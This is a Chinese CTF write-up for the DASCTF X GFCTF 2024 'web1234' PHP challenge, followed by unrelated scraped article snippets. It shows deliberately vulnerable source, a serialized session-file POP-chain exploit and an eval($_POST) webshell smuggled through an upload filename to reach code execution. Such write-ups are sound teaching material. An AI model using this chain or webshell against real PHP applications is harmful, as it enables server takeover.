BUU37 [DASCTF X GFCTF 2024|四月开启第一局]web1234【代码审计/序列化/RCE】
Hint1:本题的 flag 不在环境变量中
Hint2:session_start(),注意链子挖掘
题目:

扫描出来www.zip
class.php
<?phpclass Admin{public $Config;public function __construct($Config){//安全获取基本信息,返回修改配置的表单$Config->nickname = (is_string($Config->nickname) ? $Config->nickname : "");$Config->sex = (is_string($Config->sex) ? $Config->sex : "");$Config->mail = (is_string($Config->mail) ? $Config->mail : "");$Config->telnum = (is_string($Config->telnum) ? $Config->telnum : "");$this->Config = $Config;echo ' <form method="POST" enctype="multipart/form-data"><input type="file" name="avatar" ><input type="text" name="nickname" placeholder="nickname"/><input type="text" name="sex" placeholder="sex"/><input type="text" name="mail" placeholder="mail"/><input type="text" name="telnum" placeholder="telnum"/><input type="submit" name="m" value="edit"/></form>';}public function editconf($avatar, $nickname, $sex, $mail, $telnum){//编辑表单内容$Config = $this->Config;$Config->avatar = $this->upload($avatar);$Config->nickname = $nickname;$Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");$Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");$Config->telnum = substr($telnum, 0, 11);$this->Config = $Config;file_put_contents("/tmp/Config", serialize($Config));if(filesize("record.php") > 0){[new Log($Config),"log"]();}}public function resetconf(){//返回出厂设置file_put_contents("/tmp/Config", base64_decode('Tzo2OiJDb25maWciOjc6e3M6NToidW5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjMyOiI1MGI5NzQ4Mjg5OTEwNDM2YmZkZDM0YmRhN2IxYzlkOSI7czo2OiJhdmF0YXIiO3M6MTA6Ii90bXAvMS5wbmciO3M6ODoibmlja25hbWUiO3M6MTU6IuWwj+eGiui9r+ezlk92TyI7czozOiJzZXgiO3M6Mzoi5aWzIjtzOjQ6Im1haWwiO3M6MTU6ImFkbWluQGFkbWluLmNvbSI7czo2OiJ0ZWxudW0iO3M6MTE6IjEyMzQ1Njc4OTAxIjt9'));}public function upload($avatar){$path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);file_put_contents($path,$avatar['fdata']);return $path;}public function __wakeup(){$this->Config = ":(";}public function __destruct(){echo $this->Config->showconf();}
}class Config{public $uname;public $passwd;public $avatar;public $nickname;public $sex;public $mail;public $telnum;public function __sleep(){echo "<script>alert('edit conf success\\n";echo preg_replace('/<br>/','\n',$this->showconf());echo "')</script>";return array("uname","passwd","avatar","nickname","sex","mail","telnum");}public function showconf(){$show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";$show .= "nickname: $this->nickname<br>";$show .= "sex: $this->sex<br>";$show .= "mail: $this->mail<br>";$show .= "telnum: $this->telnum<br>";return $show;}public function __wakeup(){if(is_string($_GET['backdoor'])){$func = $_GET['backdoor'];$func();//:)}}}class Log{public $data;public function __construct($Config){$this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;}public function __toString(){if($this->data === "log_start()"){file_put_contents("record.php","<?php\nerror_reporting(0);\n");}return ":O";}public function log(){file_put_contents('record.php', $this->data, FILE_APPEND);
# FILE_APPEND表示将新加的部分追加到末尾}
}
index.php
<?php
error_reporting(0);
include "class.php";$Config = unserialize(file_get_contents("/tmp/Config"));foreach($_POST as $key=>$value){if(!is_array($value)){$param[$key] = addslashes($value);}
}if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd){$Admin = new Admin($Config);if($_POST['m'] === 'edit'){$avatar['fname'] = $_FILES['avatar']['name'];$avatar['fdata'] = file_get_contents($_FILES['avatar']['tmp_name']);$nickname = $param['nickname'];$sex = $param['sex'];$mail = $param['mail'];$telnum = $param['telnum'];$Admin->editconf($avatar, $nickname, $sex, $mail, $telnum);}elseif($_POST['m'] === 'reset') {$Admin->resetconf();}
}else{die("pls login! :)");
}
在class.php中发现一长串base64编码的东西,解码得到:
O:6:"Config":7:{s:5:"uname";s:5:"admin";s:6:"passwd";s:32:"50b9748289910436bfdd34bda7b1c9d9";s:6:"avatar";s:10:"/tmp/1.png";s:8:"nickname";s:15:"�

也就是说默认的出厂设置 uname为admin,passwd为 50b9748289910436bfdd34bda7b1c9d9,结合index.php中
if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd)
将password两次MD5解码得到1q2w3e
提交uname=admin&passwd=1q2w3e登录成功
看提示这应该是一道反序列化的题,但是源代码中并没有unserialize()
但是传输session的时候会发生序列化和反序列化
关于session的流程:
会话可以由php.ini中的配置session.auto_start = 1自动开始,也可以通过函数 session_start()手动开始,其中PHPSESSID用于标志每个用户的会话,它通常通过浏览器的 Cookie 传递给服务器,也可以通过 URL 重写等方式传递。当客户端向服务器发送请求时,会在请求头中包含这个 PHPSESSID,告诉服务器该请求属于哪个会话。PHP 接收到带有 PHPSESSID 的请求后,会根据这个标识符去查找对应的会话数据文件。这些会话数据文件通常存储在服务器的指定目录中,会话数据在存储时通常是经过序列化处理的,PHP 会自动对读取到的会话数据进行反序列化操作,反序列化后的会话数据会被填充到
$_SESSION超级全局变量中。
利用Config中的backdoor可以执行任意函数,提交backdoor=phpinfo查看php配置信息
这里需要手动开始会话

session.serialize_handler用于指定会话数据的序列化和反序列化处理方式,选项是php意思就是用PHP 内置的序列化格式

session文件会被默认存储在 /tmp 或 /var/lib/php/sessions中

__sleep 方法会在对象被序列化(如使用 serialize 函数)时自动调用
public function __sleep(){echo "<script>alert('edit conf success\\n";echo preg_replace('/<br>/','\n',$this->showconf())echo "')</script>";return array("uname","passwd","avatar","nickname","sex","mail","telnum");}
然后调用showconf()
这里 file_get_contents用于将文件的内容读入到一个字符串中, 它期望传入的参数是一个有效的文件路径(字符串类型)。当你传入的是一个对象时,PHP 需要将这个对象转换为字符串,以便能够把它当作文件路径来处理。
public function showconf(){$show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";$show .= "nickname: $this->nickname<br>";$show .= "sex: $this->sex<br>";$show .= "mail: $this->mail<br>";$show .= "telnum: $this->telnum<br>";return $show;}
此时会触发Log的toString()
public function __toString(){if($this->data === "log_start()"){file_put_contents("record.php","<?php\nerror_reporting(0);\n");}return ":O";}
此时就将内容写进record.php中
链子明晰了,exp:
<?phpclass Log{public $data="log_start()";}
class Config
{public $uname;public $passwd;public $avatar;public $nickname;public $sex;public $mail;public $telnum;
}
$a=new Log();
$b=new Config();
$b->avatar=$a;
echo serialize($b)
?>
序列化结果:
O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}
启动了session_start以后,就会找sess_XXX里的内容进行反序列化,反序列化后得到$Session对象,比如下面的aaa|O:6:"Config":...就是对应的$_SESSION['aaa'],然后在程序执行完要退出之前,会重新把$SESSION写进sess_XXX文件,也就是序列化的过程,从而触发_sleep
(即写回去的时候就是序列化前面反序列化的对象)
这种Session的设计理念其实很好理解,如若不然,session存用户的登录状态,用户每次访问,哪怕所有属性都原封不动没有改变,代码都得手动设置$_SESSION['user']=xxx,这样显然是不合理的
事实上$_SESSION['user']=xxx往往只用于改变用户属性
大体思路是:返回session文件时序列化--> __sleep()-->showcof() 此时将avatar写入$show中触发-->toString()-->将<?php\nerror_reporting(0);\n写入record.php
【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)_dasctf x gfctf 2024|四月开启第一局-CSDN博客
会话开启成功

如果没有手动开启会话,它自己不会自动开启

将filename改为“sess_xxxxx”,PHPSESSID=xxxxx
session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中去
文件内容用以下格式来写,这样就能被反序列化读取

backdoor-session_start开着,PHPSESSID自己写一个,filename="sess_那个名字",在文件内容中以php的session文件格式写

在文件名中写入木马,此时删除cookie防止再次写入<?php error_reporting(0);

利用RCE执行命令(或者用蚁剑连接)

之前一直不明白为什么要在文件名处写马,看了好几遍源代码才恍然大悟
在这里获取原始文件名
if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd){$Admin = new Admin($Config);if($_POST['m'] === 'edit'){#获取上传头像的原始名字 $avatar['fname'] = $_FILES['avatar']['name'];#获取上传文件在服务器临时存储的文件名$avatar['fdata'] = file_get_contents($_FILES['avatar']['tmp_name']);$nickname = $param['nickname'];$sex = $param['sex'];$mail = $param['mail'];$telnum = $param['telnum'];$Admin->editconf($avatar, $nickname, $sex, $mail, $telnum);}elseif($_POST['m'] === 'reset') {$Admin->resetconf();}
调用editconf函数
public function editconf($avatar, $nickname, $sex, $mail, $telnum){//编辑表单内容$Config = $this->Config;$Config->avatar = $this->upload($avatar);$Config->nickname = $nickname;$Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");$Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");$Config->telnum = substr($telnum, 0, 11);$this->Config = $Config;file_put_contents("/tmp/Config", serialize($Config));#使用 filesize 函数检查 record.php 文件的大小是否大于 0。if(filesize("record.php") > 0){#如果 record.php 文件大小大于 0,创建一个 Log 类的实例,并调用该实例的 log 方法记录日志。[new Log($Config),"log"]();}}
然后又调用upload方法,而这里要被返回的路径第一个就是fname,即原始文件名
public function upload($avatar){$path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);file_put_contents($path,$avatar['fdata']);return $path;}
这些都调用完以后,也就是$Config->avatar=$path,其中$path中含有我们上传的文件名
文件名就是木马 1';eval($_POST[1]);#,这里也关了php报错,所以/temp/1’;eval($_POST[1]);#也不会因为没有这个文件而终止执行
此时检查到record.php文件含有已经写进去的<?php error_reporting(0);不为空,editconf中最后一行又新建了Log类并调用log方法,所以调用__construct方法和log方法
public $data;public function __construct($Config){$this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;
#PHP_EOL是通用换行符}
public function log(){file_put_contents('record.php', $this->data, FILE_APPEND);
# FILE_APPEND表示将新加的部分追加到末尾}
将这一堆东西写入record.php中,但是没用了,因为我们已经#注释掉了,高
然后还有一个问题就是,为什么删了Cookie就能防止<?php error_reporting(0);再次写入
删了Cookie就代表着上一个会话已经结束,这是开启了一个全新的会话,因为没有上传session文件啥的,所以也不会引起序列化漏洞,不会再写一遍<?php error_reporting(0);只会执行将文件名写入路径中再把路径写入record.php中的操作
如果这时候不删Cookie,默认还是这个会话,它就会把文件再上传到那个sess目录里头,然后引起序列化漏洞,再把前面<?php error_reporting(0);再写一遍
(个人理解)
相关文章:
BUU37 [DASCTF X GFCTF 2024|四月开启第一局]web1234【代码审计/序列化/RCE】
Hint1:本题的 flag 不在环境变量中 Hint2:session_start(),注意链子挖掘 题目: 扫描出来www.zip class.php <?phpclass Admin{public $Config;public function __construct($Config){//安全获取基…...
(五)Spring Boot学习——spring security +jwt使用(前后端分离模式)
一定要熟悉spring security原理和jwt无状态原理,理解了才知道代码作用。 在 Spring Security JWT 认证流程中,通常的做法是: 用户提交用户名和密码Spring Security 认证管理器 (AuthenticationManager) 进行认证如果认证成功,生…...
Java中使用EasyExcel
Java中使用EasyExcel 文章目录 Java中使用EasyExcel一:EasyExcel介绍1.1、核心函数导入数据导出数据 1.2、项目实际应用导入数据导出数据 1.3、相关注解ExcelProperty作用示例 二:EasyExcel使用2.1、导入功能2.2、导出功能 三:EasyExcel完整代…...
前沿科技改变生活新趋势
纳米技术在电子设备制造中的应用越来越广泛。这种技术能够帮助制造更小、更快、更耐用的电子产品。 举个例子,手机的处理器是其核心部件。随着纳米技术的进步,现在的处理器比以前小得多,但功能却更强。这样不仅让手机变得更轻薄,…...
不到一个月,SQLite 3.49.0来了
距离 SQLite 3.48.0 发布不到一个月,SQLite 开发团队于 2025 年 2 月 6 日发布了 SQLite 3.49.0 版本。这更新速度的确让人感动,那么这个版本又有哪些更新呢? 查询优化器 新版本改进了自动索引(query-time index)优化…...
Android车机DIY开发之软件篇(十四)编译i.mx8mplus官方kernel
1.下载 下载地址 2.安装依赖 sudo apt-get update sudo apt-get install build-essential git libncurses5-dev libssl-dev bc sudo apt-get install gcc-aarch64-linux-gnu export CROSS_COMPILEaarch64-linux-gnu- 3.配置 make ARCHarm64 defconfig 4.编译 make ARCHa…...
Mac上搭建宝塔环境并部署PHP项目
安装Docker Desktop》搭建Centos版本的宝塔环境》部署PHP项目 1. 下载Docker for mac 软件:https://www.docker.com/ 或使用终端命令:brew install --cask --appdir/Applications docker 2. 使用命令安装宝塔环境的centos7系统: docker pul…...
3.3.3 VO-O语法- 语法算子(二)
循环遍历 由于VO语言是面向数据集的,其所有隐含的语义中都已经带有了遍历并计算的数据逻辑。因此,VO语言只提供了一种支持循环语法的算子--Loop算子。 Loop算子 Loop算子是一个容器算子,其可以实现对其内部子流程的循环迭代运行。但Loop算…...
安装 Ollama 需要哪些步骤?(windows+mac+linux+二进制+Docker)
安装 Ollama 的步骤根据操作系统不同会有所差异,以下是针对不同操作系统的详细安装指南: Windows 系统 下载安装包:访问 Ollama 官方下载页面,下载适用于 Windows 的安装程序 OllamaSetup.exe。运行安装程序:双击下载的安装包,按照提示完成安装。默认安装路径为 C:\User…...
HCIA项目实践--静态路由的综合实验
八 静态路由综合实验 (1)划分网段 # 192.168.1.0 24#分析:每个路由器存在两个环回接口,可以把两个环回接口分配一个环回地址,所以是四个环回,一个骨干,这样分配,不会出现路由黑洞#19…...
Electron视图进程和主进程通讯
快速创建基于vue的electron项目:quick-start/create-electron - npm 视图线程也就index.html是无法直接访问这个api的(如果没有开启视图层访问nodejs的功能,现在几乎没法直接开启,开启了一堆警告提示) 所以需要通过r…...
Vript-Hard——一个基于高分辨率和详细字幕的视频理解算法
一、概述 多模态学习的最新进展促进了对视频理解和生成模型的研究。随之而来的是,对高分辨率视频和详细说明所建立的高质量数据集的需求激增。然而,由于时间因素的影响,视频与文本的配对不像图像那样容易。准备视频和文本配对是一项困难得多…...
react脚手架搭建react项目使用scss
1.create-react-app 创建的项目,webpack配置默认是隐藏的 ,如果要查看 或修改用npm run eject命令,因为create-react-app脚手架默认已经配置了scss、sass所以不用改webpack配置。如果用less 就需要自己添加配置 2.如果直接使用scss的文件会直接报错&…...
Vue.js 状态管理库Pinia
Pinia Pinia :Vue.js 状态管理库Pinia持久化插件-persist Pinia :Vue.js 状态管理库 Pinia 是 Vue 的专属状态管理库,它允许你跨组件或页面共享状态。 要使用Pinia ,先要安装npm install pinia在main.js中导入Pinia 并使用 示例…...
【Stable Diffusion部署至GNU/Linux】安装流程
以下是安装Stable Diffusion的步骤,以Ubuntu 22.04 LTS为例子。 显卡与计算架构介绍 CUDA是NVIDIA GPU的专用并行计算架构 技术层级说明CUDA Toolkit提供GPU编译器(nvcc)、数学库(cuBLAS)等开发工具cuDNN深度神经网络加速库(需单独下载)GPU驱动包含CUDA Driver(需与CUDA …...
【C/C++算法】从浅到深学习---滑动窗口(图文兼备 + 源码详解)
绪论:冲击蓝桥杯一起加油!! 每日激励:“不设限和自我肯定的心态:I can do all things。 — Stephen Curry” 绪论: 本章是算法训练的第二章----滑动窗口,它的本质是双指针算法的衍生所以我将…...
计算机毕业设计SpringBoot+Vue.js房源推荐系统 房价预测 房源大数据分析可视化(源码+文档+运行视频+讲解视频)
温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 作者简介:Java领…...
开源机器人+具身智能 解决方案+AI
开源机器人、具身智能(Embodied Intelligence)以及AI技术的结合,可以为机器人领域带来全新的解决方案。以下是这一结合的可能方向和具体方案: 1. 开源机器人平台 开源机器人平台为开发者提供了灵活的基础架构,可以在此基础上结合具身智能和AI技术。以下是一些常用的开源机…...
通过 VBA 在 Excel 中自动提取拼音首字母
在excel里面把表格里的中文提取拼音大写缩写怎么弄 在Excel中,如果你想提取表格中的中文字符并转换为拼音大写缩写(即每个汉字的拼音首字母的大写形式),可以通过以下步骤来实现。这项工作可以分为两个主要部分: 提取拼…...
华硕笔记本怎么一键恢复出厂系统_华硕笔记本一键恢复出厂系统教程
华硕笔记本怎么一键恢复出厂系统? 华硕一键恢复出厂系统是一个安全、高效、方便的恢复方式,让您轻松还原出厂设置,以获得更好的系统性能。如果您的华硕电脑遇到问题,可以使用华硕一键恢复出厂系统功能。下面小编就教大家华硕笔记本…...
工程师创业17年:自举、模拟IP与卖身抉择
1. 创业的十字路口:工程师的“卖身”抉择在硅谷,或者说在全球任何一个技术创业的聚集地,有一个问题像幽灵一样,在每个创始人脑中盘旋,尤其是当公司步入稳定盈利的第十个、第十七个年头时:是时候卖掉公司&am…...
TuxGuitar完整入门指南:吉他谱编辑与播放的终极免费解决方案
TuxGuitar完整入门指南:吉他谱编辑与播放的终极免费解决方案 【免费下载链接】tuxguitar Open source guitar tablature editor 项目地址: https://gitcode.com/gh_mirrors/tu/tuxguitar TuxGuitar是一款功能强大的开源吉他谱编辑软件,专为吉他爱…...
TuxGuitar终极指南:从零开始掌握开源吉他谱编辑软件
TuxGuitar终极指南:从零开始掌握开源吉他谱编辑软件 【免费下载链接】tuxguitar Open source guitar tablature editor 项目地址: https://gitcode.com/gh_mirrors/tu/tuxguitar 你是否正在寻找一款功能全面、完全免费的吉他谱编辑工具?TuxGuitar…...
为什么你的Clay图总像塑料?5个被忽略的光照锚点参数,今天必须改!
更多请点击: https://intelliparadigm.com 第一章:Clay图为何总像塑料?——光照失真的本质归因 Clay渲染(又称“黏土着色”或“flat shading with ambient occlusion”)在UI预览、设计稿交付与快速原型中被广泛采用&…...
别再手动敲测试数据了!用Verilog的$readmemh/b从文件初始化RAM/ROM,效率翻倍
高效Verilog存储器初始化:$readmemh/b实战指南 在数字电路设计与验证中,存储器初始化是每个工程师都无法回避的基础工作。传统手动编写测试向量的方式不仅耗时耗力,更成为项目进度中的效率瓶颈。本文将深入解析Verilog中$readmemh和$readmemb…...
企业知识产权管理痛点与解决方案系列解说四
知识产权管理人员在对申请的知识产权文件资料进行管理时,每次收到专利局发来的官文通知书数据包,都需要手动解压,判别状态后再上传至对应的管理系统中,完成后续的案件管理任务。在专利案件量比较大时,逐一修改案件状态…...
智能体开发实战:从LLM工具调用到自主决策系统的架构指南
1. 项目概述与核心价值最近在开源社区里,一个名为DaMaxime/openclaw-agents-docs的项目引起了我的注意。乍一看,这像是一个围绕“OpenClaw Agents”的文档仓库,但当你深入进去,会发现它远不止是简单的API手册或使用说明。这个项目…...
如何让猫抓资源嗅探插件效率翻倍:5个实用配置技巧
如何让猫抓资源嗅探插件效率翻倍:5个实用配置技巧 【免费下载链接】cat-catch 猫抓 浏览器资源嗅探扩展 / cat-catch Browser Resource Sniffing Extension 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch 猫抓(cat-catch)是一款功能强大的浏览…...
高通Android音频HAL揭秘:从AudioFlinger到libaudiohal.so的加载与设备打开流程
高通Android音频HAL深度解析:从框架设计到硬件交互的全链路实现 在Android系统的多媒体生态中,音频子系统扮演着至关重要的角色。作为连接应用层与物理硬件的桥梁,音频硬件抽象层(HAL)的设计直接决定了设备的音频性能…...
社交媒体运营实战指南:从策略定位到数据分析的完整闭环
1. 项目概述:从“会发”到“会运营”的社交媒体技能跃迁“社交发布技能”,听起来像是一个老生常谈的话题。谁还不会发个朋友圈、微博或者小红书呢?但如果你把“tang-vu/social-posting-skills”这个项目标题,仅仅理解为“如何写一…...
